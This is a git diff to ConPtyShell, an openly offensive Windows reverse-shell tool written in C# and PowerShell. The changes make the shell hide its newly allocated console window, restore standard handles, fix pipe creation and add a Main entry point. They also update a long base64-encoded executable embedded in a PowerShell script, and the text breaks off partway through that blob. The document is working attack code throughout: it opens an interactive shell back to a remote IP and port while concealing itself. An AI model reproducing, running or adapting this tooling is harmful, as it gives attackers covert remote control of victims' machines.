diff --git a/ConPtyShell.cs b/ConPtyShell.cs index b9cca89..693e2fb 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -18,6 +18,7 @@ public static class ConPtyShell private const int BUFFER_SIZE_PIPE = 1048576; private const UInt32 INFINITE = 0xFFFFFFFF; + private const int SW_HIDE = 0; private const uint GENERIC_READ = 0x80000000; private const uint GENERIC_WRITE = 0x40000000; private const uint FILE_SHARE_READ = 0x00000001; @@ -137,6 +138,19 @@ private struct COORD [DllImport("kernel32.dll", SetLastError = true)] private static extern bool GetConsoleMode(IntPtr handle, out uint mode); + [DllImport("kernel32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool AllocConsole(); + + [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] + private static extern bool FreeConsole(); + + [DllImport("user32.dll")] + private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetConsoleWindow(); + [DllImport("kernel32.dll", CharSet=CharSet.Auto)] private static extern IntPtr GetModuleHandle(string lpModuleName); @@ -188,7 +202,10 @@ private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWr throw new InvalidOperationException("Could not create the OutputPipe"); } - private static void InitConsole(){ + private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){ + oldStdIn = GetStdHandle(STD_INPUT_HANDLE); + oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + oldStdErr = GetStdHandle(STD_ERROR_HANDLE); IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); SetStdHandle(STD_OUTPUT_HANDLE, hStdout); @@ -196,6 +213,12 @@ private static void InitConsole(){ SetStdHandle(STD_INPUT_HANDLE, hStdin); } + private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){ + SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); + SetStdHandle(STD_ERROR_HANDLE, oldStdErr); + SetStdHandle(STD_INPUT_HANDLE, oldStdIn); + } + private static void EnableVirtualTerminalSequenceProcessing() { uint outConsoleMode = 0; @@ -333,9 +356,13 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows IntPtr OutputPipeRead = new IntPtr(0); IntPtr OutputPipeWrite = new IntPtr(0); IntPtr handlePseudoConsole = new IntPtr(0); + IntPtr oldStdIn = new IntPtr(0); + IntPtr oldStdOut = new IntPtr(0); + IntPtr oldStdErr = new IntPtr(0); + bool newConsoleAllocated = false; PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); - InitConsole(); + InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){ Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); STARTUPINFO sInfo = new STARTUPINFO(); @@ -348,6 +375,11 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows } else{ Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n"); + if(GetConsoleWindow() == IntPtr.Zero){ + AllocConsole(); + ShowWindow(GetConsoleWindow(), SW_HIDE); + newConsoleAllocated = true; + } int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if(pseudoConsoleCreationResult != 0) { @@ -370,6 +402,9 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows thReadSocketWritePipe.Abort(); shellSocket.Shutdown(SocketShutdown.Both); shellSocket.Close(); + RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); + if(newConsoleAllocated) + FreeConsole(); CloseHandle(childProcessInfo.hThread); CloseHandle(childProcessInfo.hProcess); if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); diff --git a/Invoke-ConPtyShell.ps1 b/Invoke-ConPtyShell.ps1 index 2e8e91e..42d42f2 100644 --- a/Invoke-ConPtyShell.ps1 +++ b/Invoke-ConPtyShell.ps1 @@ -109,8 +109,10 @@ public static class ConPtyShell private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; private const uint CREATE_NO_WINDOW = 0x08000000; private const int STARTF_USESTDHANDLES = 0x00000100; + private const int BUFFER_SIZE_PIPE = 1048576; private const UInt32 INFINITE = 0xFFFFFFFF; + private const int SW_HIDE = 0; private const uint GENERIC_READ = 0x80000000; private const uint GENERIC_WRITE = 0x40000000; private const uint FILE_SHARE_READ = 0x00000001; @@ -207,7 +209,7 @@ public static class ConPtyShell private static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); + private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); @@ -230,6 +232,19 @@ public static class ConPtyShell [DllImport("kernel32.dll", SetLastError = true)] private static extern bool GetConsoleMode(IntPtr handle, out uint mode); + [DllImport("kernel32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool AllocConsole(); + + [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)] + private static extern bool FreeConsole(); + + [DllImport("user32.dll")] + private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetConsoleWindow(); + [DllImport("kernel32.dll", CharSet=CharSet.Auto)] private static extern IntPtr GetModuleHandle(string lpModuleName); @@ -271,15 +286,20 @@ public static class ConPtyShell } private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){ - int securityAttributeSize = Marshal.SizeOf(); - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize, bInheritHandle=1, lpSecurityDescriptor=IntPtr.Zero }; - if(!CreatePipe(out InputPipeRead, out InputPipeWrite, pSec, 0)) + SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); + pSec.nLength = Marshal.SizeOf(pSec); + pSec.bInheritHandle=1; + pSec.lpSecurityDescriptor=IntPtr.Zero; + if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) throw new InvalidOperationException("Could not create the InputPipe"); - if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, pSec, 0)) + if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) throw new InvalidOperationException("Could not create the OutputPipe"); } - private static void InitConsole(){ + private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){ + oldStdIn = GetStdHandle(STD_INPUT_HANDLE); + oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + oldStdErr = GetStdHandle(STD_ERROR_HANDLE); IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); SetStdHandle(STD_OUTPUT_HANDLE, hStdout); @@ -287,6 +307,12 @@ public static class ConPtyShell SetStdHandle(STD_INPUT_HANDLE, hStdin); } + private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){ + SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); + SetStdHandle(STD_ERROR_HANDLE, oldStdErr); + SetStdHandle(STD_INPUT_HANDLE, oldStdIn); + } + private static void EnableVirtualTerminalSequenceProcessing() { uint outConsoleMode = 0; @@ -305,7 +331,10 @@ public static class ConPtyShell private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){ int result = -1; EnableVirtualTerminalSequenceProcessing(); - result = CreatePseudoConsole(new COORD { X = (short)cols, Y = (short)rows }, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); + COORD consoleCoord = new COORD(); + consoleCoord.X=(short)cols; + consoleCoord.Y=(short)rows; + result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); return result; } @@ -318,7 +347,7 @@ public static class ConPtyShell throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); } STARTUPINFOEX startupInfo = new STARTUPINFOEX(); - startupInfo.StartupInfo.cb = Marshal.SizeOf(); + startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize); success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); if (!success) @@ -336,9 +365,11 @@ public static class ConPtyShell private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) { PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); - int securityAttributeSize = Marshal.SizeOf(); - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize }; - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize }; + SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); + int securityAttributeSize = Marshal.SizeOf(pSec); + pSec.nLength = securityAttributeSize; + SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); + tSec.nLength = securityAttributeSize; bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); if (!success) { @@ -419,9 +450,13 @@ public static class ConPtyShell IntPtr OutputPipeRead = new IntPtr(0); IntPtr OutputPipeWrite = new IntPtr(0); IntPtr handlePseudoConsole = new IntPtr(0); + IntPtr oldStdIn = new IntPtr(0); + IntPtr oldStdOut = new IntPtr(0); + IntPtr oldStdErr = new IntPtr(0); + bool newConsoleAllocated = false; PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); - InitConsole(); + InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){ Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); STARTUPINFO sInfo = new STARTUPINFO(); @@ -434,6 +469,11 @@ public static class ConPtyShell } else{ Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n"); + if(GetConsoleWindow() == IntPtr.Zero){ + AllocConsole(); + ShowWindow(GetConsoleWindow(), SW_HIDE); + newConsoleAllocated = true; + } int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if(pseudoConsoleCreationResult != 0) { @@ -456,6 +496,9 @@ public static class ConPtyShell thReadSocketWritePipe.Abort(); shellSocket.Shutdown(SocketShutdown.Both); shellSocket.Close(); + RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); + if(newConsoleAllocated) + FreeConsole(); CloseHandle(childProcessInfo.hThread); CloseHandle(childProcessInfo.hProcess); if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); @@ -467,7 +510,8 @@ public static class ConPtyShell } public static class ConPtyShellMainClass{ - private static string help = ""; + private static string help = @" +"; private static bool HelpRequired(string param) { @@ -548,4 +592,12 @@ public static class ConPtyShellMainClass{ return output; } } + + +class MainClass{ + static void Main(string[] args) + { + Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); + } +} "@; \ No newline at end of file diff --git a/Invoke-ConPtyShell2.ps1 b/Invoke-ConPtyShell2.ps1 index 312b368..b1b3444 100644 --- a/Invoke-ConPtyShell2.ps1 +++ b/Invoke-ConPtyShell2.ps1 @@ -86,7 +86,7 @@ function Invoke-ConPtyShell2 $CommandLine = "powershell.exe" ) $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) - $ConPtyShellBase64 = "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DwPBAIwMcwIhAJoMxQEZAK8MFgMZALgMxQHxAE4GMAOpAPgLNgPhAPQMPAMBAfwM1gEJAQ4NHwJhALoLQgMBAfwMSgMJAE4GxQEOAAQADQAJAAgASQAJAAwATgAJABAAUwAJABQAWAAJABgAXQAIABwAZQAJACAAagAJACQAbwAJACgAdAAJACwAeQAJADAAfgAJADQAgwAJADgAiAAIADwAjQAIAEAAkgAIAEQAlwAuACMAagMuACsAcwMDAM8BDQDPAR0AzwFHAM8BEgJCAlsCYwJoAm0CjQKUAqgCuwLaAuECHANQA1UDWQNdA2EDsgq/Cq8CQAEDAP0BAQBAAQUAHwIBAEABBwA5AgEARgEJAEcCAQBAAQsAVgIBAEABDQBnAgEAQAEPAHsCAQBAAREAiAIBAEABEwCVAgEARgEVAKECAQBGAxcArAIBAEABGQC3AgEAQAEbAMACAQBAAR0AygIBAEABHwDeAgEAQAEhAPECAQBAASMAAAMBAAYBJQAPAwEAQwEnAB8DAgAEgAAAAAAAAAAAAAAAAAAAAAAaAAAABAAAAAAAAAAAAAAAAQCNAAAAAAAEAAAAAAAAAAAAAAABAJYAAAAAAAMAAgAEAAIABQACAAYAAgAHAAIALwBWAi8AgwJXAAoDAAAAAAA8TW9kdWxlPgBDb25QdHlTaGVsbC5leGUAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBPYmplY3QAVmFsdWVUeXBlAGVycm9yU3RyaW5nAEVOQUJMRV9WSVJUVUFMX1RFUk1JTkFMX1BST0NFU1NJTkcARElTQUJMRV9ORVdMSU5FX0FVVE9fUkVUVVJOAFBST0NfVEhSRUFEX0FUVFJJQlVURV9QU0VVRE9DT05TT0xFAEVYVEVOREVEX1NUQVJUVVBJTkZPX1BSRVNFTlQAQ1JFQVRFX05PX1dJTkRPVwBTVEFSVEZfVVNFU1RESEFORExFUwBJTkZJTklURQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2VzcwBDcmVhdGVQcm9jZXNzVwBUZXJtaW5hdGVQcm9jZXNzAFdha